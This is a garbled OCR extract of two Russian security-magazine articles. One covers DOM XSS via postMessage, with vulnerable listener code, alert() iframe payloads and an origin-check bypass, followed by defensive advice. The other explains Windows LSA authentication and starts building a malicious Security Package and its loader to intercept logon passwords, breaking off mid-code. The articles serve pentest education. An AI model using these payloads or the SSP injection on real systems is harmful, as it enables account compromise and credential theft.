из парамет ров у источни ков не сов пада ет, обмен дан ными меж ду ресур- 
сами зап реща ется. Нап ример, если стра ница по адре су 

 поп робу ет отоб разить дан ные из источни ка 
, то это дей ствие будет зап рещено, так как у источни ков

не сов пада ет про токол.

http://example.
com/index.html https://
example.com/

Same Origin Policy

2. Cross-Origin Resource Sharing. Огра ниче ния полити ки оди нако вых
источни ков ока зались слиш ком жес тки ми. Поэто му для более тон кой нас- 
трой ки дос тупа к ресур сам соз дали «механизм сов мес тно го исполь- 
зования ресур сов раз ными источни ками» — CORS. Он рег ламен тиру ет
три катего рии сетево го вза имо дей ствия:

за пись из раз ных источни ков. Эта катего рия рег ламен тиру ет пере адре- 
сации, отправ ки форм и перехо ды по ссыл кам. По умол чанию все эти дей- 
ствия раз решены;

•

встав ка из раз ных источни ков. Эта катего рия рег ламен тиру ет эле мен ты,
заг ружа емые пос редс твом тегов , , , , 

,  и дру гих. По умол чанию все они раз решены, одна ко
работос пособ ность тега  может быть допол нитель но огра ниче- 
на с помощью заголов ка ;

•
<link> <script> <img> <video> <

audio> <iframe>

<iframe>

X-Frame-Options

счи тыва ние из раз ных источни ков. Эта катего рия рег ламен тиру ет эле мен- 
ты, заг ружа емые через AJAX и fetch. По умол чанию эти воз можнос ти заб- 
локиро ваны.

•

WWW

Под робнее о CORS и SOP ты можешь про читать,
к при меру, в этих стать ях на «Хаб рахаб ре»:
«

»
и «

».

CORS для чай ников: исто рия воз никно вения,
как устро ен и опти маль ные методы работы

По лити ка обще го про исхожде ния и CORS:
визу аль ное руководс тво

WEB MESSAGING API

 — это метод, поз воля ющий переда вать дан ные меж- 
ду докумен тами, которые заг ружены в раз ных окнах или фрей мах, в том чис ле
меж ду докумен тами, получен ными с раз ных доменов. Если на сай те кор рек- 
тно нас тро ены механиз мы безопас ности (SOP и CORS), исполь зование

 будет единс твен ным дос тупным спо собом переда чи дан ных
меж ду докумен тами на раз ных доменах. Зап росы, соз данные с помощью про- 
чих методов (как, нап ример,  или Fetch API), будут заб-
локиро ваны в соот ветс твии с SOP и CORS.

Window.postMessage()

postMessage

XMLHttpRequest

По иск информа ции о тех нологии postMessages при вел меня к 
. Обыч но сце нари ям из раз ных источни ков раз- 

решен дос туп друг к дру гу тог да и толь ко тог да, ког да они соот ветс тву ют
Same Origin Policy (оди нако вая схе ма, имя хос та и порт), вклю чая сце нарии
внут ри фрей ма, которые обра щают ся к родите лю фрей ма. 

 пре дос тавля ет кон тро лиру емый механизм для безопас ного
обхо да это го огра ниче ния. Так же я нашел в докумен тации спо собы обес- 
печения свя зи меж ду родитель ской стра ницей и стра ницей внут ри фрей ма.
В общем виде дочер ний  дол жен быть под писан на событие «сооб- 
щение»:

офи циаль- 
ной докумен тации Mozilla

Window.
postMessage()

<iframe>

    window.addEventListener("message", (event) => {...}, false);

Здесь  — ожи даемое сооб щение.message
В таком слу чае родитель ская стра ница может передать дочер нему фрей- 

му сооб щение с помощью такого метода:

  postMessage(message, targetOrigin, transfer)

Здесь  — отправ ляемое сооб щение, эти дан ные авто мати чес ки
сери али зуют ся для переда чи в дочер ний фрейм, а  ука зыва ет
источник родитель ско го окна.

message
targetOrigin

В качес тве  допус кает ся исполь зовать звез дочку, которая
ука зыва ет на то, что получить сооб щение может кто угод но. Либо мож но ука- 
зать кон крет ный URI, который будет про верен внут ри слу шате ля в дочер нем
фрей ме. Если Origin стра ницы не сов пада ет с  внут ри этой фун- 
кции, событие не будет отправ лено. Этот механизм обес печива ет кон троль
над тем, куда отправ ляют ся сооб щения. Нап ример, если 
исполь зует ся для отправ ки пароля, необ ходимо, что бы этот аргу мент соот- 
ветс тво вал целево му URI. Это поз волит пре дот вра тить хищение пароля зло- 
умыш ленни ком через недове рен ный ресурс.

targetOrigin

targetOrigin

postMessage

DOM-BASED XSS ×ÅÐÅÇ WEB MESSAGING

Да вай пос мотрим, как мож но исполь зовать веб-сооб щения в качес тве
источни ка для соз дания и экс плу ата ции DOM XSS на целевой стра нице. Если
целевая стра ница обра баты вает вхо дящие сооб щения небезо пас ным обра- 
зом (нап ример, невер но про веряя источник вхо дящих сооб щений), то
вызыва емые слу шате лем события потен циаль но могут стать при емни ками
небезо пас ной наг рузки и источни ком XSS.

Нап ример, зло умыш ленник может помес тить на сво ей стра нице вре-
донос ный  и исполь зовать метод  для переда чи дан- 
ных с помощью веб-сооб щения уяз вимому слу шате лю событий. В даль-
нейшем слу шатель передаст вре донос ную наг рузку в при емник на дочер ней
стра нице.

<iframe> postMessage()

Это зна чит, что веб-сооб щения могут быть исполь зованы в качес тве
источни ка наг рузки для любого из при емни ков дочер ней веб-стра ницы.
Резуль тат экс плу ата ции уяз вимос ти зависит от того, как целевой документ
обра баты вает получен ные сооб щения.

Ес ли целевая стра ница пол ностью доверя ет отпра вите лю, не про веря ет
дан ные, получен ные от него, и без иска жений переда ет их в при емник, то эта
уяз вимость поз волит зло умыш ленни ку совер шить любые дей ствия от лица
поль зовате ля в кон тек сте целево го ресур са (ском про мети ровать поль- 
зовате ля).

Да вай рас смот рим раз ные вари анты уяз вимого кода.

Origin Verification îòñóòñòâóåò
Це левая стра ница легитим ного сай та содер жит сле дующий скрипт.

<script>
    window.addEventListener('message', function(e){

         document.getElementById('qwe').innerHTML = e.data;
})
</script>

В этом слу чае экс плу ата ция уяз вимос ти воз можна с помощью ,
помещен ного на сер вере ата кующе го, при мер но с таким содер жимым:

<iframe>

  <iframe src="http://target.com/" onload="this.contentWindow.
postMessage('<img src=1 onerror=alert`1`>','*')">

Как видишь, слу шатель сооб щений не про веря ет источник, а метод
 ука зыва ет  «звез дочка». Про цесс экс плу ата ции

будет выг лядеть так:
postMessage targetOrigin

 в пей лоаде соз даст сооб щение, которое отпра вит ся
стра нице в  пос ле того, как заг рузит ся содер жимое ;

• postMessage()

<iframe> <iframe>

 целевой стра ницы получит сооб щение с ата кующей
стра ницы;

• EventListener

 выпол нит поиск эле мен та с ID ;• EventListener qwe

 выпол нит встав ку получен ного сооб щения в най ден ный
тег ;

• EventListener

<div>

в ито ге в целевую стра ницу будет встав лен тег , содер жащий некор- 
рек тный адрес источни ка. Это вызовет ошиб ку, а обра бот ка этой ошиб ки
исполнит про изволь ный код, ука зан ный ата кующим, то есть вызовет

.

• img

alert(1)

Origin verification
Пред ста вим, что целевая стра ница легитим ного сай та содер жит такой
скрипт:

  window.addEventListener('message', function(e) {
    if (e.origin.indexOf('normal-website.com') > -1) {

       eval(e.data);
   }
});

В том слу чае, если слу шатель про веря ет Origin, могут най тись проб лемы
в реали зации этих про верок. Нап ример, про вер ку с помощью метода

 мож но обой ти, если сде лать вре донос ный скрипт на мно гоуров- 
невом домене, содер жащем в себе иско мую подс тро ку. Нап ример, таком:
indexOf

<http://www.normal-website.com.attacker.com>

Ана логич ным обра зом обхо дят ся про вер ки, которые выпол няют ся пос редс- 
твом методов ,  и дру гих.startsWith() endsWith()

JSON Parse
Не ред ки слу чаи, ког да слу шатель может выпол нить одно из нес коль ких
заранее ука зан ных дей ствий, в зависи мос ти от того, какое имен но сооб- 
щение он получит при выпол нении postMessage. Под разуме вает ся, что
дочер ний фрейм смо жет по-раз ному реаги ровать на раз личные сооб щения,
при ходя щие из родитель ско го эле мен та. Эта вари атив ность дей ствий будет
опи сана в дочер нем  подоб ным скрип том:<iframe>

<script>
     window.addEventListener('message', function(e) {

      
  

       var iframe = document.createElement('iframe'), ACMEplayer = {
element: iframe}, d;
       document.body.appendChild(iframe);

        try {
             d = JSON.parse(e.data);

         } catch(e) {
           return;
       }

        switch(d.type) {
            case "img":

                 ACMEplayer.element.src = d.url;
               break;

            case "redirect":
               window.location.replace(d.redirectUrl);
               break;
       }
    }, false);
</script>

В дан ном слу чае в зависи мос ти от сооб щения, получа емо го дочер ним
, он может выпол нить одно из двух дей ствий:iframe

1. Ес ли в резуль тате вызова postMessage в дочер ний  переда но
сооб щение, содер жащее 

, дочер ний  прис воит ука зан ный URL свой ству 
эле мен та  отоб ража емой в нем стра ницы.

iframe

{"type" : "img", "url" : "https://

domain.com"} iframe src

ACMEplayer

2. Ес ли в резуль тате вызова postMessage в дочер ний  переда но
сооб щение, содер жащее 

, то дочер ний  выпол нит переход
с текущей стра ницы на ука зан ный URL.

iframe

{"type" : "redirect", "url" : 

"https://domain.com"} iframe

Для экс плу ата ции уяз вимос ти необ ходимо сфор мировать кор рек тный JSON-
объ ект, который будет передан в дочер ний фрейм и пра виль но обра ботан
внут ренним эле мен том case. При мер вре донос ной наг рузки:

  <iframe src=https://victim.com/ onload='this.contentWindow.
postMessage("{"type":"img","url":"javascript:alert(1)"}","*")'>

В резуль тате отправ ки такого сооб щения у эле мен та  в  будет
уста нов лено зна чение, соот ветс тву ющее URL из нашей вре донос ной наг- 
рузки. Пос коль ку вто рой аргу мент ука зыва ет, что любой targetOrigin раз решен
для postMessage, а обра бот чик событий не содер жит какой-либо фор мы про- 
вер ки источни ка, полез ная наг рузка будет уста нов лена и исполне на, ког да
жер тва перей дет на эту стра ницу.

ACMEplayer src

ÂÛÂÎÄÛ

Мы под робно разоб рали уяз вимос ти, которые воз ника ют при неак курат ном
обра щении с Web Messaging API для орга низа ции переда чи дан ных меж ду
родитель ской стра ницей и заг ружа емой внут ри . Вот нес коль ко
рекомен даций, которые поз волят избе жать подоб ных проб лем на сво ем сай- 
те:

<iframe>

про веряй ори гиналь ность источни ка сооб щения, что бы пре дот вра тить
внед рение конс трук ций с недове рен ных сай тов;

•

ис поль зуй безопас ные спо собы про вер ки под линнос ти ори гиналь ного
источни ка сооб щения;

•

про веряй сооб щения на наличие потен циаль но опас ных содер жаний
и команд перед их выпол нени ем;

•

ис поль зуй механиз мы шиф рования для защиты кон фиден циаль нос ти
сооб щений во вре мя переда чи.

•

Ну а если ты пен тестер, а не веб-дизай нер, то не забудь про верить эти тех- 
ники, ког да встре тишь веб-сооб щения.

mailto:wolfreak449@gmail.com
https://habr.com/ru/company/macloud/blog/553826/
https://habr.com/ru/post/514684/
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#scripting
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ВЗЛОМ

Боль шинс тво механиз мов защиты
в Windows стро ится на паролях учет ных
записей поль зовате лей. В сегод няшней
статье мы раз берем нес коль ко спо собов
перех вата паролей в момент авто риза ции
поль зовате ля и напишем код для авто мати- 
зации это го про цес са.

Windows име ет слож ную сис тему аутен тифика ции со мно жес твом ком понен- 
тов. Фун дамен том этой сис темы мож но счи тать LSA (Local Security Authority)
и SSP.

LSA — огромная под систе ма, которая слу жит для про вер ки под линнос ти
поль зовате лей, их регис тра ции, сме ны пароля и подоб ных опе раций. Еще в
LSA хра нит ся информа ция обо всех аспектах безопас ности локаль ного
компь юте ра, нап ример количес тве неус пешных вво дов пароля для бло киров- 
ки учет ной записи. Пос редс твом LSA мож но даже наз начать при виле гии поль- 
зователь ским учет кам, для это го раз работан инс тру мент .Privileger

SSP тоже не так прост, как кажет ся: мы рас смот рели его исполь зование
в кли ент-сер верных про цес сах в . Он не толь ко помога ет раз- 
работ чикам шиф ровать дан ные, обес печивать целос тность переда ваемой
информа ции, выс тра ивать кон текст, но и может рас ширить стан дар тную
аутен тифика цию. Прав да, для этой цели будет исполь зовать ся не прос то SSP,
а SSP/AP, о котором мы погово рим поз же.

прош лой статье

ÊÎÌÏÎÍÅÍÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ

Их мож но счи тать кир пичика ми, из которых стро ится вся огромная сис тема
аутен тифика ции в Windows. Отме чу, что теория из этой статьи будет рас- 
простра нять ся и на пос леду ющий матери ал. Мы нач нем с прос тей шего
перех вата пароля, а затем будем понем ногу усложнять себе задачу.

Security Package
Security Package (SP) — прог рам мная реали зация неко его про токо ла
безопас ности. Security Package содер жатся в SSP (и/или SSP/AP) в виде DLL-
фай лов. Нап ример, Kerberos и NTLM находят ся в SSP . Да, имен- 
но в , так как имен но этот SSP делеги рует фун кции безопас- 
ности нуж ному SP. Нап ример, если служ ба тре бует аутен тифика цию
по Kerberos, то  вызовет .

Secur32.dll
Secur32.dll

Secur32.dll Kerberos.dll

Ра бота SP

SSP/AP (èëè æå ïðîñòî AP)
AP — Authentication Package. Пред став ляет собой биб лиоте ку DLL, которая
тоже содер жит один или нес коль ко SP. Глав ное отли чие от стан дар тно го SSP
зак люча ется в том, что SSP/AP может выс тупать в качес тве пакета аутен- 
тифика ции (AP), то есть про верять под линность вве ден ных дан ных при вхо де
поль зовате ля в сис тему.

Тем не менее SSP/AP выпол няет и все фун кции стан дар тно го SSP (выс- 
тра ивать кон текст, шиф ровать дан ные и про чие). Что бы SSP/AP мог фун кци- 
они ровать и в качес тве пакета аутен тифика ции, и в качес тве обыч ного SSP
для кли ент-сер верных про цес сов, при запус ке сис темы он заг ружа ется
в прос транс тво про цес са .lsass.exe

Так же, если тре бует ся работать лишь с кли ент-сер верны ми фун кци ями
кон крет ного SSP/AP, он без проб лем может быть заг ружен в кли ент-сер- 
верное при ложе ние. Нап ример, методом динами чес кого (фун кция

) либо ста тичес кого свя зыва ния ( ), то есть
без заг рузки в про цесс . В таком слу чае фун кции пакета аутен- 
тифика ции исполь зовать ся не будут.

LoadLibrary() pragma comment
lsass.exe

SSP/AP в lsass.exe и кли ент ских про цес сах

Security Providers
Security Providers не сто ит путать с Security Package. Они все-таки раз лича- 
ются.

Про вай деры безопас ности реали зова ны в виде DLL и поз воля ют выпол- 
нить так называ емую вто рич ную аутен тифика цию. То есть пос ле того,
как поль зователь про шел аутен тифика цию на одной машине, он может прой- 
ти аутен тифика цию и на дру гой машине, нап ример на сер вере Linux. Таким
обра зом, поль зователь получа ет дос туп к ресур сам UNIX-сер вера с машины
Windows без допол нитель ной аутен тифика ции. Это называ ется Single Sign-
On.

Ра бота Security Providers

Credential Providers
Про вай деры учет ных дан ных — COM-объ екты, слу жащие для бес пароль ного
дос тупа к сис теме. Реали зова ны тоже в виде динами чес ких биб лиотек DLL.
Нап ример, для рас позна вания лица исполь зует ся 

, для смарт-карт — .
FaceCredentialProvider.

dll SmartcardCredentialProvider.dll
Так же может исполь зовать ся сто рон ний пос тавщик учет ных дан ных. Все

дос тупные пос тавщи ки учет ных дан ных перечис лены здесь:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\
Credential Providers 

Каж дый ключ по это му пути реес тра иден тифици рует опре делен ный класс
пос тавщи ка безопас ности по его . Сам  дол жен быть зарегис три- 
рован в , так как явля ется клас сом . Для изу чения всех дос- 
тупных пос тавщи ков так же мож но вос поль зовать ся .

CLSID CLSID
HKCR\CLSID COM

инс тру мен том CPlist.exe

Password Filters
С помощью Password Filters мож но рас ширить стан дар тную пароль ную
полити ку на кон крет ных хос тах. Ког да соз дает ся зап рос на сме ну пароля, LSA
вызыва ет все пакеты уве дом лений, что бы про верить, удов летво ряет ли новый
пароль филь трам, реали зован ным внут ри пакета. При чем каж дый пакет уве- 
дом лений вызыва ется дваж ды:
1. Для про вер ки нового пароля. Если какой-то из пакетов уве дом лений сооб- 

щает, что пароль не под ходит, сис тема пот ребу ет у поль зовате ля ука зать
иной пароль.

2. Для уве дом ления о том, что пароль изме нил ся. Этот вызов про изой дет
толь ко тог да, ког да все пакеты уве дом лений сооб щили, что пароль нор- 
маль ный и соот ветс тву ет их филь трам.

Password Filter мож но счи тать час тным слу чаем Notication Package.

Notication Package в слу чае про вер ки пароля

Êàê ïðîèñõîäèò âõîä ïîëüçîâàòåëÿ â ñèñòåìó
Пе ред тем как мы смо жем перех ватить пароль, сле дует разоб рать ся с про- 
цес сом вхо да поль зовате ля в сис тему. В этой статье мы не будем вда вать ся
в под робнос ти ини циали зации Winlogon, соз дания рабочих сто лов, GINA.
Прос то знай, что имен но бла года ря про цес су  осу щест вля ется
инте рак тивный вход. Сис тема запус тилась, поль зователь сел за кла виату ру.

Winlogon.exe

1. Для начала аутен тифика ции отправ ляет ся ком бинация кла виш SAS (по
умол чанию Ctrl + Alt + Del). Winlogon получа ет это сооб щение, начина ется
про цесс вхо да.

2. Так как в сов ремен ных сис темах при сутс тву ет мно жес тво вари антов бес- 
пароль ного вхо да (отпе чаток паль ца, рас позна вание лица), то Winlogon
обра щает ся к Credential Providers, что бы получить информа цию об аутен- 
тифици рующем ся поль зовате ле.

3. Вне зависи мос ти от отве та про вай дера учет ных дан ных Winlogon порож- 
дает про цесс . Он пре дос тавля ет интерфейс для вво да
пароля и завер шает ся пос ле окон чания это го дей ствия. Таким обра зом,

 может переза пус кать ся бес конеч ное количес тво раз, если
вдруг воз ника ют какие-либо ошиб ки. Как следс твие, обес печива ется
защита от воз можно го кра ша .

LogonUI.exe

LogonUI.exe

Winlogon.exe
4. Пос ле того как поль зователь ввел свой логин и пароль либо если про вай- 

дер учет ных дан ных вер нул их, Winlogon соз дает уни каль ный SID для вхо да
это го поль зовате ля. Дан ный SID наз нача ется все му текуще му экзем пля ру
рабоче го сто ла (кла виату ра, мышь, экран). Пос ле чего идет обра щение
к про цес су  с целью аутен тифика ции поль зовате ля.lsass.exe

5. Об ращение мож но раз делить на нес коль ко эта пов. Сна чала 
 регис три рует себя как про цесс аутен тифика ции. Дела ется

это вызовом фун кции . В слу чае успешно го
вызова про цесс получа ет хендл на LSA для пос леду юще го вза имо дей- 
ствия. При чем вза имо дей ствие будет осу щест влять ся пос редс твом ALPC
(Advanced Local Procedure Calls).

Winlogon.
exe

LsaRegisterLogonProcess()

6. Да лее  получа ет хендл на пакет аутен тифика ции MSV1_0 (и
Kerberos в слу чае AD, тут мы рас смат рива ем толь ко MSV1_0) путем вызова

:

Winlogon.exe

LsaLookupAuthenticationPackage()

 NTSTATUS LsaLookupAuthenticationPackage(
    [in] HANDLE      LsaHandle,
     [in] PLSA_STRING PackageName,
  [out] PULONG      AuthenticationPackage
);

Эта фун кция ничего осо бен ного не тре бует.  — хендл, получен- 
ный вызовом ;  — имя пакета
аутен тифика ции, нап ример ;

 — получен ный иден тифика тор жела емо го
для исполь зования Winlogon пакета аутен тифика ции.

LsaHandle
LsaRegisterLogonProcess() PackageName

MSV1_0_PACKAGE_NAME
AuthenticationPackage

7. По лучив иден тифика тор пакета аутен тифика ции, Winlogon переда ет ему
информа цию в вызове фун кции . Эта информа ция содер- 
жит SID из шага 4, а так же информа цию об аутен тифици рующем ся поль- 
зовате ле. Переда ча SID помога ет пре дот вра тить несан кци они рован ный
дос туп к рабоче му сто лу, нап ример если взять и ввес ти пароль одно го
поль зовате ля, а поп робовать получить дос туп к сто лу дру гого.

LsaLogonUser()

8. Внут ри MSV1_0 вызыва ется фун кция , где имя поль- 
зовате ля и пароль про ходят аутен тифика цию при помощи базы дан ных
SAM. Если аутен тифика ция успешна, там же соз дает ся сес сия вхо да в сис- 
тему: вызыва ется , и ей прис ваивает ся LogonID
(LUID), который генери рует ся пакетом аутен тифика ции. Пос ле это го
MSV1_0 добав ляет спе циаль ную информа цию к сес сии с помощью вызова

. Обыч но это имя поль зовате ля, имя домена и кон-
троль ные сум мы LM/NT-хеша пароля. Эта информа ция впос ледс твии
понадо бит ся, если поль зователь попыта ется получить дос туп к уда лен ным
узлам.

LsaApLogonUserEx()

LsaCreateLogonSession()

LsaAddCredential()

9. Да лее Winlogon дожида ется отве та от LSA по поводу вве ден ных учет ных
дан ных.

10. Пос ле успешной аутен тифика ции поль зовате ля запус кает ся ини циали- 
зация поль зователь ской обо лоч ки (User Shell). Поль зователь ская обо лоч- 
ка — совокуп ность про цес сов, запущен ных от лица кон крет ной учет ной
записи.

11. Прос то взять и соз дать поль зователь скую обо лоч ку, нап ример с помощью
обыч ного , не получит ся. Сна чала  вызыва ет
фун кцию  для соз дания токена дос тупа. В этом токене
будет содер жать ся информа ция о самом поль зовате ле. Имен но этот
токен в даль нейшем ста нет исполь зовать  для соз дания
про цес са от лица аутен тифици рован ного поль зовате ля.

CreateProcess() lsass.exe
NtCreateToken()

Winlogon.exe

Воз можно, у тебя сра зу появи лась ковар ная мысль: «А могу ли я сам
генери ровать токены?» Как бы да и как бы нет. Для успешно го соз дания
токена тре бует ся при виле гия , которой обла- 
дает толь ко . Если у нас есть эта при виле гия, то мы смо жем
нафан тазиро вать что душе угод но. Абсо лют но любой токен — любые груп- 
пы, при виле гии, вне зависи мос ти от каких-либо гло баль ных нас тро ек
и кон фигура ций. Нап ример, я получал пра ва на выпол нение кода от лица
груп пы.

SeCreateTokenPrivilege
lsass.exe

Вы пол нение кода от лица груп пы

И ста вил SID = 0.

Null sid

12. До пол нитель но  собира ет информа цию о поль зователь ской
сре де. Информа ция эта самая раз ная. Заос трю вни мание на началь ном
про цес се, он же сис темный шелл, — про цес се, который будет порож дать
осталь ные про цес сы в сис теме от лица поль зовате ля и при меняя все уста- 
нов ленные нас трой ки поль зователь ско го про филя. Все эти дан ные хра- 
нят ся в 

. В клю че  по умол чанию ука зан про цесс ,
который как раз таки вос ста нав лива ет нас трой ки про филя поль зовате ля.
А в клю че  — сис темный шелл, обыч но это .

Winlogon.exe

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Winlogon Userinit userinit.exe

shell explorer.exe
13. Сна чала идет обра щение имен но к , прог рамма запус кает ся,

выпол няет ся ини циали зация сре ды, а затем  обра щает ся
к клю чу  и порож дает сис темный шелл. Пос ле это го про цесс

 завер шает ся. Собс твен но, ров но по этой при чине мы и не
видим родитель ско го про цес са у  —  уже
завер шился.

Userinit
userinit.exe

shell
Userinit

explorer.exe userinit.exe

14. Поль зователь заходит в сис тему и получа ет дос туп к сво ему рабоче му сто- 
лу.

Про цесс аутен тифика ции

Èíèöèàëèçàöèÿ LSA
Имен но LSA игра ет клю чевую роль в про цес се аутен тифика ции поль зовате ля.
Каким обра зом LSA будет ини циали зиро вать наши вре донос ные SP, AP и NP?

При запус ке устрой ства LSA авто мати чес ки под гру жает все зарегис три- 
рован ные SP, реали зован ные в виде DLL, в свое адресное прос транс тво. Все
зарегис три рован ные DLL находят ся по сле дующе му пути:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 

Ключ со все ми SP

Ес ли этот ключ пус той, то исполь зует ся зна чение по умол чанию:

kerberos"\0"msv1_0"\0"schannel"\0"wdigest"\0"tspkg"\0"pku2u"\0 

Все эти DLL ука зыва ются без пол ного пути. Microsoft рекомен дует помещать
SP в пап ку . Далее у каж дого SP вызыва ется фун кция

, бла года ря которой LSA получа ет спе циаль ную таб- 
лицу , содер жащую ука зате ли на . Они
реали зуют дан ный пакет безопас ности. Выг лядит это при мер но вот так:

%systemroot%/system32
SpLsaModeInitialize()

SECPKG_FUNCTION_TABLE фун кции

  SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =
{
   {

         
       

          

       NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize,
SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
   }
};

     
     

NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG
PackageVersion, PSECPKG_FUNCTION_TABLE * ppTables, PULONG pcTables)
{
     *PackageVersion = SECPKG_INTERFACE_VERSION;
     *ppTables = SecurityPackageFunctionTable;
     *pcTables = 1;
    return 0;
}

Ес ли  успешно вер нула таб лицу, то LSA вызыва ет
, которой переда ет струк туру .

В этой струк туре содер жатся ука зате ли на , которые пре дос тавля ет
LSA для исполь зования внут ри SP. Нап ример, фун кцию  мож но
исполь зовать для соз дания токена (это не токен дос тупа, а токен, который
генери рует ся во вре мя выс тра ива ния кон тек ста в кли ент-сер верных при- 
ложе ниях).

SpLsaModeInitialize()
SpInitialize() LSA_SECPKG_FUNCTION_TABLE

фун кции
CreateToken()

Треть ей вызыва ется , бла года ря которой LSA получа ет
информа цию о пакете. Нап ример, его имя, опи сание и вер сию. Эта
информа ция будет отоб ражать ся при вызове фун кции

:

SpGetInfo()

EnumerateSecurityPackages()

   NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
{
       

  
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME |

SECPKG_FLAG_CONNECTION | SECPKG_FLAG_LOGON;
     PackageInfo->Name = (SEC_WCHAR*)L"MishaSSP";
     PackageInfo->Comment = (SEC_WCHAR*)L"SSP with a wide Russian 
soul";
     PackageInfo->wRPCID = SECPKG_ID_NONE;
     PackageInfo->cbMaxToken = 0;
     PackageInfo->wVersion = 1337;
    return 0;
}

Да лее LSA заг ружа ет все дос тупные пакеты аутен тифика ции (AP). Их спи сок
извле кает ся из сле дующе го клю ча реес тра:

HKLM YSTEM sa\S \CurrentControlSet\Control\L \Authentication Packages 

Продолжение статьи →
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ПОЛЬЗОВАТЕЛЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Ключ со все ми AP

В каж дом из них будет выз вана фун кция , в ней
LSA передаст таб лицу , содер жащую все фун кции LSA,
которые может дер гать AP. AP, в свою оче редь, дол жен запол нить пос ледний
параметр фун кции, ука зав свое имя. Это имя LSA исполь зует, что бы опре- 
делить, к какому AP хочет получить дос туп прог рамма, путем вызова

.

LsaApInitializePackage()
LSA_DISPATCH_TABLE

LsaLookupAuthenticationPackage()

 LSA_DISPATCH_TABLE DispatchTable;
       

       
      

        

NTSTATUS LsaApInitializePackage(_In_ ULONG
AuthenticationPackageId, _In_ PLSA_DISPATCH_TABLE
LsaDispatchTable, _In_opt_ PLSA_STRING         Database, _In_opt_
PLSA_STRING         Confidentiality, _Out_ PLSA_STRING*
AuthenticationPackageName)
{
   // Сохраняем адреса функций
     DispatchTable.CreateLogonSession = LsaDispatchTable->
CreateLogonSession;
     DispatchTable.DeleteLogonSession = LsaDispatchTable->
DeleteLogonSession;
     DispatchTable.AddCredential = LsaDispatchTable->AddCredential;
     DispatchTable.GetCredentials = LsaDispatchTable->GetCredentials;
     DispatchTable.DeleteCredential = LsaDispatchTable->
DeleteCredential;
     DispatchTable.AllocateLsaHeap = LsaDispatchTable->AllocateLsaHeap
;
     DispatchTable.FreeLsaHeap = LsaDispatchTable->FreeLsaHeap;
     DispatchTable.AllocateClientBuffer = LsaDispatchTable->
AllocateClientBuffer;
     DispatchTable.FreeClientBuffer = LsaDispatchTable->
FreeClientBuffer;
     DispatchTable.CopyToClientBuffer = LsaDispatchTable->
CopyToClientBuffer;
     DispatchTable.CopyFromClientBuffer = LsaDispatchTable->
CopyFromClientBuffer;

   // Возвращаем имя нашего AP
     (*AuthenticationPackageName) = (LSA_STRING*)LsaDispatchTable->
AllocateLsaHeap(sizeof(LSA_STRING));

      if (NULL != (*AuthenticationPackageName))
   {

         (*AuthenticationPackageName) = (LSA_STRING*)
           LsaDispatchTable->AllocateLsaHeap(sizeof(LSA_STRING));

             (*AuthenticationPackageName)->Buffer = (char*)
               LsaDispatchTable->AllocateLsaHeap((ULONG)strlen

                 ("myssp") + 1);

              if (NULL != (*AuthenticationPackageName)->Buffer)
           {

                (*AuthenticationPackageName)->Length =
                   strlen("myssp");

                (*AuthenticationPackageName)->MaximumLength =
                     strlen("myssp") + 1;

               strcpy(
                   (*AuthenticationPackageName)->Buffer,
                   "myssp");

                 return 0x00000000L; // STATUS_SUCCESS

           }
             return 0xC0000002; // STATUS_NOT_IMPLEMENTED

       }
}

ÝÊÑÏËÓÀÒÀÖÈß

Те перь, изу чив теорию, мож но зло упот реблять эти ми самыми кир пичика ми
сис темы безопас ности Windows. Нач нем с клас сичес кого спо соба, который
при сутс тву ет даже в . Это стан дар тное внед рение SP с целью перех- 
вата учет ных дан ных.

mimikatz

Êàê äåáàæèòü?
Мно гие фун кции, которые мы будем исполь зовать, воз вра щают либо

, либо . Что бы понять, что сло малось, в пер вом
слу чае мож но вос поль зовать ся фун кци ей :
NTSTATUS SECURITY_STATUS

LsaNtStatusToWinError()

 ULONG LsaNtStatusToWinError(
   [in] NTSTATUS Status
);

Пос ле это го ана лизи руем зна чение  и срав нива ем с 
.

ULONG ко дами оши бок
Win32

В слу чае  все чуточ ку слож нее. Как интер пре тиро вать
его исходное зна чение, вооб ще непонят но. Нап ример, пусть в нашем коде
фун кция  валит ся каж дый раз с ошиб кой

. Что бы понять, что эта ошиб ка озна чает, нуж но кон верти ровать
ее в Hex, получим . Пос ле чего сле дует поис кать ее в , добавив

 в начало, а бук ву  в конец.

SECURITY_STATUS

AddSecurityPackage()
-2146893051

80090305 sspi.h
0x L

Опи сание ошиб ки

Ïåðåõâàò ïàðîëÿ ñ ïîìîùüþ âíåäðåíèÿ Security Package
Òðåáîâàíèÿ
Наш SP для кор рек тной работы дол жен удов летво рять сле дующим тре бова- 
ниям:
1. Ре али зован в виде биб лиоте ки DLL.
2. Име ет фун кции , ,

, .
SpLsaModeInitialize() SpGetInfo()

SpInitialize() SpAcceptCredentials()

3. Име ет ту же архи тек туру, что и целевая сис тема: х64 для х64, х86 для х86.

Çàãðóçêà â ñèñòåìó
Пер вый вари ант самый прос той. Мы будем исполь зовать фун кцию

, что поз волит заг рузить SP в сис тему бук валь но
одним кли ком:
AddSecurityPackage()

  SECURITY_STATUS SEC_ENTRY AddSecurityPackageA(
  [in] LPSTR                     pszPackageName,
   [in] PSECURITY_PACKAGE_OPTIONS pOptions
);

Вот при мер заг рузки:

#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")

 int main()
{
      char packagePath[] = "C:\\Windows\\SP.dll";
      SECURITY_PACKAGE_OPTIONS spo = {};
       SECURITY_STATUS ss = AddSecurityPackageA(packagePath, &spo);
       if (ss != SEC_E_OK) {

           if (ss == SEC_E_SECPKG_NOT_FOUND) {
  

  

           std::wcout << L"[?] SEC_E_SECPKG_NOT_FOUND received! 
